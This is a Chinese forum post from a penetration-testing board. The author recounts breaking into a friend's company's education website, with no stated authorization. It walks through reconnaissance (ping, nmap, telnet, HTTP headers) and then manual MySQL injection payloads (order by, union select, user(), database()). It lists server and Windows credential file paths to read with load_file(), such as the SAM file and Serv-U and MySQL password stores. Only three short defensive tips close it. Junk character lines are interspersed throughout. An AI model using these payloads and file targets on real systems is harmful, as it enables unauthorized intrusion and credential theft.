中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记:
4 A- b. i, ], M7 ~ ? m
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
+ _! Y8 `" ]2 \+ o
第一步:获取需要的信息
3 @, g( f: ]8 F; X0 S
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
9 S+ e" B+ [/ l: d% S8 _' _& F9 L# W
注:以下为保护特用XXX代替敏感信息
6 [9 E4 Q: M2 y
顺手先PING了一下他们的域名:
z3 w, Z# A$ D3 e. Q- y$ i3 m& H3 R
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
4 |8 G' Y% h5 E3 q% i; N! Z
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
" c0 z# E+ A* I d t/ Y- N: J* |" }: u8 N
顺便了解一下TTL,学好基础知识才能一路顺风:
! @/ r% `9 O/ D0 G. h) `% K
TTL:(Time To Live ) 生存时间
5 w* f: |! M& q7 _( p
指定数据包被路由器丢弃之前允许通过的网段数量。
$ Q% ?/ W: E9 h/ K( g7 g/ j8 }
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
( _ V" Q4 ~( a( P7 k, }* G
使用PING时涉及到的 ICMP 报文类型
/ k8 [" j. A3 V8 u
一个为ICMP请求回显(ICMP Echo Request)
1 i0 ^% w& a6 p8 ?, q* J- a
一个为ICMP回显应答(ICMP Echo Reply)
8 Z6 X5 r1 u; `# j( m
TTL 字段值可以帮助我们识别操作系统类型。
# q$ w q$ {- e; b; [) U7 v
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
, Q* \4 U8 Z6 U) I7 m6 m
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
3 j4 V" i2 e/ Q) E
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
' G# H% S; ^6 C, D/ X, K# J
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
2 w% ~6 D" ?# h$ |8 o E
当然,返回的TTL值是相同的
+ t& `, y: N& w# |5 |7 o0 k
但有些情况下有所特殊
3 Q: C7 F! i0 M7 @
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
1 k! Y7 l- D, D$ |1 A9 m! j: D
FreeBSD 4.1, 4.0, 3.4;
6 O& e0 O; o7 \) O- _* l, H
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
0 x6 R ]+ z- A4 v1 |
OpenBSD 2.6, 2.7,
/ o- t5 d0 S& G
NetBSD
/ B. X' A& f) O, c
HP UX 10.20
q9 B- X. `; s+ a
ICMP 回显应答的 TTL 字段值为 255
% W! f9 ]. F/ t" ~* U7 V9 p
Windows 95/98/98SE
: |5 a- c& Q8 Y# m: L* L+ f1 ?8 f4 f* ^
Windows ME
5 f' Q9 N" s- _4 P# k( N( {6 F* i
ICMP 回显应答的 TTL 字段值为 32
1 z9 \2 }2 B z! e4 `
Windows NT4 WRKS
9 L$ B. i2 L7 I: A, U
Windows NT4 Server
& Q$ b Q# k! `# [2 S) m% ~
Windows 2000
! m1 F( }4 O% d
Windows XP
- _; H; i2 v. e* ?. e+ t
ICMP 回显应答的 TTL 字段值为 128
" I4 o @4 n7 H& [6 ~3 i
这样,我们就可以通过这种方法来辨别操作系统
# X7 c' R1 {* q2 T5 \1 n
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
5 |, ]" r* j( g0 h
用NMAP扫描一下:
& j& s* h+ O+ B5 F
nmap -sT -O XXX.XXX.XXX.XXX
( A1 x5 p+ N% d: Q
如果没有装WinPcap则会弹出提示:
8 V2 c* I1 \1 a1 y; r- H$ R
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
, d" s, o1 n \
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
: Z) Y7 l/ q& [9 W7 x0 X
) mode — Nmap may not function completely
1 c" G1 H3 y: S' x8 Z
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
) n7 P8 s, u; R) h
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
+ U; m" ?3 T! b4 e! E- v t
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
+ J# d; P7 R2 i) h- h v
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
2 s$ J7 J$ b! z) x
ersions, you may be able to take iphlpapi.dll from another system and place it i
7 S5 b- c1 ]3 S# a
n your system32 dir (e.g. c:\windows\system32).
* P3 o$ Q9 \- G Z$ D: x
QUITTING!
5 y% |8 Z+ H; x4 S) d) v% J' x
到这里下载:
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
4 u: T# K. h$ A0 }" D6 z
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
$ C# E0 Q: ]0 n$ a3 c- c3 K
Interesting ports on XXX.XXX.XXX.XXX:
; f' A' |7 \$ x, j6 i
Not shown: 986 closed ports
. I, _" Z5 G) E) o+ V8 w2 h
PORT STATE SERVICE
7 H) V' D. y1 }- f, I n; N0 Z1 Q: j
21/tcp open ftp
- n0 Q: G. v: v1 ]) p
22/tcp open ssh
1 [1 N) H+ b& Q1 X j7 R! v
23/tcp open telnet
7 b% R4 z7 j2 h: U# U1 r
80/tcp open http
" S. f9 O# N) P
111/tcp open rpcbind
# E6 i: B' Z) |
135/tcp filtered msrpc
Y$ @' H" T( a3 `
139/tcp filtered netbios-ssn
; R( G) N) z) W% k7 X+ N: C
445/tcp filtered microsoft-ds
( a% K+ Q/ E5 [3 }, y7 q* f* j, @- c
513/tcp open login
/ X7 a, i( L# U% b1 S9 _. `$ `5 z
514/tcp open shell
3 V8 L, x2 [/ Y+ v' {. U* A
593/tcp filtered http-rpc-epmap
! x" Y% H" O. b& `8 ]
1720/tcp filtered H.323/Q.931
4 Q# o; K( \+ g: m- r( l* {1 n
3306/tcp open mysql
2 \4 _& V5 D& d4 q$ H5 f
4444/tcp filtered krb524
6 ]( b' l1 l( ^% J# T
Device type: WAP
4 ]( r' B+ c0 l) U/ m. n. F$ @! }/ C( j
Running: Linux 2.4.X
* f" I( V8 d' c* l4 z& X9 n
OS details: DD-WRT (Linux 2.4.35s)
' d" L! `9 n+ ^, {" B
Network Distance: 13 hops
% U i0 o' z4 L; s* U3 _4 i2 h
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
) @ v) y ]) Q. z3 F, m, h
login as:
: r. R, O2 ?9 f- s3 Y A* _
Telnet23端口也是开着的,用telnet 命令链接一下:
* ^: c- n9 l L
telnet XXX.XXX.XXX.XXX
1 p. c0 n' Z2 S9 h6 Q/ C
提示:
' m+ v% j9 I2 _6 A$ J& _6 l
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
! b: A7 O# l5 ~$ Q) O+ o
Kernel 2.6.18-92.el5PAE on an i686
% H! n, t/ s0 k
login:
' g; b# o% Y; }# l
获取HTTP头信息:
4 d% l8 ^9 z' C2 D! ?8 z; R/ {4 _
在本地执行如下PHP代码
; r2 T- W) A4 s) z+ @8 j# E
<?php
0 X- G, p' ~$ ]6 j8 O
$url = ‘XXX.XXX.XXX.XXX’;
( w/ X) e( Q/ B
print_r(get_headers($url));
7 M1 S) b# e: o- Y. H
print_r(get_headers($url, 1));
3 t4 S: r5 H s* P
?>
7 k0 H. t* t7 r) z7 B
将以上代码保存为PHP文件,执行:
4 W$ b2 m1 K& u' P3 D
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
) j! @, }# ]4 ]# l+ J
现在可以得出结论:
5 J" N8 ~* k6 q5 U, b, U
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
( q" c8 d/ D5 ?. U, ?
内核版本:Kernel 2.6.18-92.el5PAE on an i686
- m8 h) i' k, m. b3 Y1 N- L
WEB服务器版本:nginx/0.7.61
6 Y& @2 B. S# e/ M. B6 \
第二步,开始测试寻找漏洞
) d6 c* W- {+ | Y" w; ?9 @& H
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
) |, E+ M4 R' \) N) ?, l
1、敏感地址:站内存在有类似:
http://www.fovweb.com/XXX.php?id=123
这种地址,属动态传参的
5 u) f( ^2 }. l+ U; D" U( ~
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
: I( W' m r- h5 H* y. d) F& o5 |
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
* v* k v9 K7 S+ l( G" x
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
6 b; W+ j6 S& f4 W* p! j! K+ w
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
9 d/ R `; c k% q& V4 O: W
3、手工注入:
4 u2 X2 i- ]) n c8 b
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
5 B! x+ u* e) C: C1 \
3.1 猜测当前表字段数
5 E0 y) _8 ~ S; @) c4 T4 A
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
0 _1 [& I* r/ I: M8 p2 G; L
此处猜测有个简单的算法,都是有技巧的吗,呵呵
- [( z5 L: N4 p; P) \! H7 r
算法简单如下:
' ^; d0 H% }) {, k. i- X
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
9 Z1 b+ C5 H! S4 c! }. i) }6 ^! |
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
- O+ ~5 ^* W" f1 C I! y! D
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
4 T- Y' @! |, c$ [
以此来判断,是否过界,配合取中算法猜出字段数。
2 M! a+ @$ j, \, s) F5 j4 Q9 D
举例:
0 l$ v# J- @1 e0 e) T8 p C
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
, p7 _( Y% l, u3 D
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
" S6 q7 z! }& m* Q6 f E$ M& z6 z
此时3则为我们要找的字段数。
: Y% Q* K) J; b7 E
3.2 配合union联合查询字段在页面所位置
1 w8 s4 {/ H% U2 k/ \
我们已经知道了字段数为3,此时则可以做如下操作:
9 w9 S, w0 j, h
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
, Q7 ]8 D% ~( r: V7 ~% m# x) V
3 Y% ?) j5 ~+ E; G8 K* T
这样就可以测试到哪些字段在页面上有所显示了,如图:
) l8 m( p6 L* r- h
: f+ ~8 K! A6 B# h I9 V8 R' y
3.3 查敏感信息
3 W* a. L2 E- j, p5 B3 n
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
9 q8 I: Z% u8 H+ _' T, q1 z
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
( f' _$ g9 z9 e' E0 A/ l, n+ ^
3.3.1 先查数据库用户、数据库名,以备后用,如图:
9 Q6 S$ w. c6 G4 P4 r4 \0 s+ `$ m
# i2 V. a$ N; H$ Z. r) S+ z+ o
得到数据库用户为root、数据库名为DBxx;
, P3 S, a, D# n9 b: R8 z
3.3.2 查配置文件
- V. ~, h G4 m# I: b# v
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
9 G! I: A6 u0 K2 j9 s [
查看文件有一定的条件限制:
0 w8 y/ ~/ K$ K$ B( }
欲读取文件必须在服务器上
/ F3 o' L3 T8 y( C6 u
必须指定文件完整的路径
" C0 ?2 X" Y2 H' B+ l
必须有权限读取并且文件必须完全可读
4 d. t( A' u" z1 g0 r- m0 u
欲读取文件必须小于 max_allowed_packet
7 ^/ u& U, I5 m8 |( D$ h
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
- x( b5 E1 q% k! W3 c- x
常用的一些:
2 I5 s- w; B; I
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
, I2 u6 y5 Z2 m- q9 F( z! V
/usr/local/apache2/conf/httpd.conf
% r6 U- c7 s# y0 V
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
9 ]" ~ ^9 c; J7 e, A. B u
/usr/local/app/php5/lib/php.ini //PHP相关设置
D# Y. M* u h/ a6 ~% i
/etc/sysconfig/iptables //从中得到防火墙规则策略
3 ^8 c: G% y% ?) D
/etc/httpd/conf/httpd.conf // apache配置文件
3 g; S9 W0 j1 m2 x. O
/etc/rsyncd.conf //同步程序配置文件
9 k1 y9 ]( [8 a# J0 a- }, z% b/ o
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
& f* y0 H. Y$ X0 @7 C3 }4 ^
/etc/my.cnf //mysql的配置文件
: g' r$ p0 [8 g# D& d
/etc/redhat-release //系统版本
' }5 z1 _# B4 T! F, z# p/ r
/etc/issue
5 q5 k3 P/ c! B/ u9 Z
/etc/issue.net
7 ]6 J! O- X/ [9 _" E
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
( j0 q! Q( s" O8 m8 |1 ]
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
5 d5 X: B9 B7 H3 \
c:\Program Files\Serv-U\ServUDaemon.ini
" k$ ?% m( p8 x! Z+ ~
c:\windows\my.ini //MYSQL配置文件
' i# v) |) w, {- d( N
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
' ]+ v+ C+ l, t; c
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
+ @" X% \ l$ J/ ]% L# U; z! Q
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
& ]* G) o0 O% ~4 x) ^, d( v
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
( e1 Z' z! K" t
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
% Q& y" T% B) c- p" j3 U
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
6 q. u+ i4 ?6 S$ g
//存储了pcAnywhere的登陆密码
. O6 f. H8 u1 y
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
) q) a! r/ b* V+ r
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
* W L# b2 N) G+ p8 c4 h" e4 Y( |
最后:防范措施
3 Y w' B! A- [
1、修复PHP注入漏洞;
4 p; j* I$ `/ |6 i( d' D9 r1 q# Q
2、Mysql使用普通权限的用户;
# C7 J8 Y, z2 n9 ^( e
3、升级linux内核至最新版本;
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2